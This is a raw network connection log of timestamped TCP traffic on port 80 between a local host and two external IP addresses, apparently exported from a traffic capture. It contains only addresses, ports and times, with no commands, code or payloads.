Jun 30, 2024 10:23:16.158421040 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.158421993 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.158432007 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.158433914 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.158442974 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.158451080 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.158454895 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.158467054 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.158476114 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.158478022 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.158492088 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.158499002 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.158513069 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.158535957 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.159039974 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159054041 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159085989 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.159183979 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159197092 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159210920 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159223080 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.159225941 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159240007 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.159246922 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159259081 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159264088 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.159269094 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159280062 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159286976 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.159291983 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159303904 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159311056 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.159316063 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159327030 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159327030 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.159338951 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.159352064 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.159373999 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.160243034 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160258055 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160268068 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160279036 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160285950 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.160290956 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160303116 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.160305977 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160317898 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160326004 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.160330057 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160341024 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.160343885 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160356998 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160365105 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.160367966 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160381079 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160388947 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.160393000 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.160408020 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.160422087 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.186363935 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.186418056 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.186428070 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.186517954 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.186517954 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.186549902 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.186562061 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.186573982 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.186584949 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.186585903 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.186624050 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.186645985 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.186913013 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.186924934 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.186937094 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.186959028 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.186979055 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.187163115 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.187174082 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.187184095 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.187196016 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.187201977 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.187237024 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:16.187423944 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:16.187465906 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:21.246535063 CEST	57424	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:21.246848106 CEST	57434	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:21.251616955 CEST	80	57434	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:21.251710892 CEST	80	57424	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:21.251739025 CEST	57434	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:21.251781940 CEST	57424	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:21.253593922 CEST	57434	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:21.258836985 CEST	80	57434	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:21.951401949 CEST	80	57434	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:21.951539040 CEST	57434	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:22.057276011 CEST	57434	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:22.057583094 CEST	57435	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:22.062568903 CEST	80	57435	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:22.062691927 CEST	57435	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:22.062813044 CEST	57435	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:22.062851906 CEST	80	57434	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:22.062906027 CEST	57434	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:22.067683935 CEST	80	57435	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:22.779875994 CEST	80	57435	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:22.779953957 CEST	57435	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:22.780730009 CEST	57435	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:22.785703897 CEST	80	57435	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:23.000463963 CEST	80	57435	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:23.000643015 CEST	57435	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:23.104017973 CEST	57435	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:23.104329109 CEST	57436	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:23.109230995 CEST	80	57436	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:23.109357119 CEST	57436	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:23.109524012 CEST	57436	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:23.109601021 CEST	80	57435	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:23.109663010 CEST	57435	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:23.114366055 CEST	80	57436	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:23.833477974 CEST	80	57436	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:23.833635092 CEST	57436	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:23.834356070 CEST	57436	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:23.839212894 CEST	80	57436	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:24.062447071 CEST	80	57436	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:24.062603951 CEST	57436	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:24.166552067 CEST	57436	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:24.166933060 CEST	57437	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:24.171917915 CEST	80	57437	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:24.172005892 CEST	80	57436	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:24.172075987 CEST	57437	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:24.172107935 CEST	57436	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:24.172306061 CEST	57437	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:24.177053928 CEST	80	57437	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:24.860671043 CEST	80	57437	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:24.860830069 CEST	57437	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:24.863456011 CEST	57437	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:24.869393110 CEST	80	57437	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:25.086308002 CEST	80	57437	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:25.086393118 CEST	57437	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.197983980 CEST	57437	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.198328972 CEST	57438	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.203176022 CEST	80	57438	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:25.203291893 CEST	57438	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.203366041 CEST	80	57437	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:25.203413010 CEST	57437	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.203577995 CEST	57438	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.208352089 CEST	80	57438	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:25.917593956 CEST	80	57438	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:25.917679071 CEST	57438	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.920523882 CEST	57438	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.920835018 CEST	57439	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.927002907 CEST	80	57439	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:25.927016973 CEST	80	57438	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:25.927128077 CEST	57438	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.927324057 CEST	57439	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.927324057 CEST	57439	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:25.931662083 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:25.940015078 CEST	80	57439	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:25.941052914 CEST	80	57433	77.91.77.81	192.168.2.7
Jun 30, 2024 10:23:25.941099882 CEST	57433	80	192.168.2.7	77.91.77.81
Jun 30, 2024 10:23:26.667016029 CEST	80	57439	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:26.667206049 CEST	57439	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:26.782270908 CEST	57439	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:26.782604933 CEST	57440	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:26.787574053 CEST	80	57440	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:26.787688971 CEST	57440	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:26.787714958 CEST	80	57439	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:26.787848949 CEST	57440	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:26.787965059 CEST	57439	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:26.792643070 CEST	80	57440	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:27.494296074 CEST	80	57440	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:27.494409084 CEST	57440	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:27.497963905 CEST	57440	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:27.498287916 CEST	57441	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:27.503163099 CEST	80	57441	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:27.503177881 CEST	80	57440	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:27.503235102 CEST	57441	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:27.503259897 CEST	57440	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:27.503439903 CEST	57441	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:27.508527040 CEST	80	57441	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:28.217924118 CEST	80	57441	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:28.217988968 CEST	57441	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:28.324774027 CEST	57441	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:28.325117111 CEST	57442	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:28.329973936 CEST	80	57442	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:28.330096006 CEST	57442	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:28.330229044 CEST	80	57441	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:28.330276012 CEST	57441	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:28.330522060 CEST	57442	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:28.335402012 CEST	80	57442	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:29.018963099 CEST	80	57442	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:29.019139051 CEST	57442	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.022034883 CEST	57442	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.022346973 CEST	57443	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.027245998 CEST	80	57443	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:29.027318001 CEST	57443	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.027566910 CEST	57443	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.027582884 CEST	80	57442	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:29.028203011 CEST	57442	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.032574892 CEST	80	57443	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:29.737065077 CEST	80	57443	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:29.737124920 CEST	57443	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.848728895 CEST	57443	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.849227905 CEST	57444	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.853976011 CEST	80	57443	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:29.854010105 CEST	80	57444	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:29.854059935 CEST	57443	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.854085922 CEST	57444	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.858998060 CEST	57444	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:29.863779068 CEST	80	57444	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:30.553530931 CEST	80	57444	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:30.553636074 CEST	57444	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:30.557878971 CEST	57444	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:30.558234930 CEST	57445	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:30.564268112 CEST	80	57445	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:30.564326048 CEST	57445	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:30.564546108 CEST	57445	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:30.564738989 CEST	80	57444	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:30.564821959 CEST	57444	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:30.570993900 CEST	80	57445	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:31.277384043 CEST	80	57445	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:31.277472973 CEST	57445	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:31.389988899 CEST	57445	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:31.390633106 CEST	57446	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:31.397053957 CEST	80	57445	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:31.397078991 CEST	80	57446	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:31.397111893 CEST	57445	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:31.397154093 CEST	57446	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:31.397866964 CEST	57446	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:31.404264927 CEST	80	57446	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:32.095114946 CEST	80	57446	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:32.095259905 CEST	57446	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.098562002 CEST	57446	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.098954916 CEST	57447	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.103699923 CEST	80	57446	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:32.103787899 CEST	80	57447	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:32.103837013 CEST	57446	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.103883982 CEST	57447	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.104121923 CEST	57447	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.108891010 CEST	80	57447	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:32.798343897 CEST	80	57447	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:32.798402071 CEST	57447	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.903475046 CEST	57447	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.903903961 CEST	57448	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.908760071 CEST	80	57447	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:32.908818960 CEST	80	57448	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:32.908874035 CEST	57447	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.908907890 CEST	57448	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.909558058 CEST	57448	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:32.914483070 CEST	80	57448	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:33.605242014 CEST	80	57448	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:33.605515957 CEST	57448	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:33.608864069 CEST	57448	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:33.609251022 CEST	57449	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:33.614098072 CEST	80	57448	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:33.614131927 CEST	80	57449	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:33.614170074 CEST	57448	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:33.614207983 CEST	57449	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:33.614316940 CEST	57449	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:33.619040966 CEST	80	57449	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:34.346092939 CEST	80	57449	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:34.348618031 CEST	57449	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:34.465805054 CEST	57449	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:34.466090918 CEST	57450	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:34.471302032 CEST	80	57450	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:34.471385956 CEST	57450	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:34.471492052 CEST	80	57449	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:34.471513987 CEST	57450	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:34.471549034 CEST	57449	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:34.476949930 CEST	80	57450	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:35.213330984 CEST	80	57450	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:35.213530064 CEST	57450	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:35.216193914 CEST	57450	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:35.216569901 CEST	57451	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:35.221582890 CEST	80	57450	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:35.221635103 CEST	80	57451	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:35.221678972 CEST	57450	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:35.221716881 CEST	57451	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:35.221950054 CEST	57451	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:35.226679087 CEST	80	57451	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:35.912434101 CEST	80	57451	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:35.912635088 CEST	57451	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.032440901 CEST	57451	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.032742977 CEST	57452	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.042336941 CEST	80	57451	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:36.042351007 CEST	80	57452	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:36.042395115 CEST	57451	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.042435884 CEST	57452	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.046132088 CEST	57452	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.056921005 CEST	80	57452	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:36.768984079 CEST	80	57452	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:36.769042015 CEST	57452	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.772888899 CEST	57452	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.773195028 CEST	57454	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.778283119 CEST	80	57452	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:36.778520107 CEST	80	57454	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:36.778595924 CEST	57452	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.778631926 CEST	57454	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.778878927 CEST	57454	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:36.789386034 CEST	80	57454	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:37.497028112 CEST	80	57454	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:37.497090101 CEST	57454	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:37.605937004 CEST	57454	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:37.606308937 CEST	57455	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:37.611105919 CEST	80	57454	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:37.611376047 CEST	80	57455	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:37.611437082 CEST	57454	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:37.611464977 CEST	57455	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:37.611593962 CEST	57455	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:37.616436958 CEST	80	57455	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:38.318674088 CEST	80	57455	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:38.318802118 CEST	57455	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:38.321774960 CEST	57455	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:38.323198080 CEST	57456	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:38.327054977 CEST	80	57455	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:38.327348948 CEST	57455	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:38.328175068 CEST	80	57456	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:38.328253984 CEST	57456	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:38.328598976 CEST	57456	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:38.333790064 CEST	80	57456	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:39.029505014 CEST	80	57456	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:39.029592037 CEST	57456	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.137216091 CEST	57456	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.137581110 CEST	57457	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.142409086 CEST	80	57457	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:39.142435074 CEST	80	57456	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:39.142514944 CEST	57456	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.142604113 CEST	57457	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.142779112 CEST	57457	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.147618055 CEST	80	57457	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:39.831347942 CEST	80	57457	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:39.831479073 CEST	57457	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.835273981 CEST	57457	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.835573912 CEST	57458	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.840435982 CEST	80	57458	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:39.840514898 CEST	57458	80	192.168.2.7	77.91.77.82
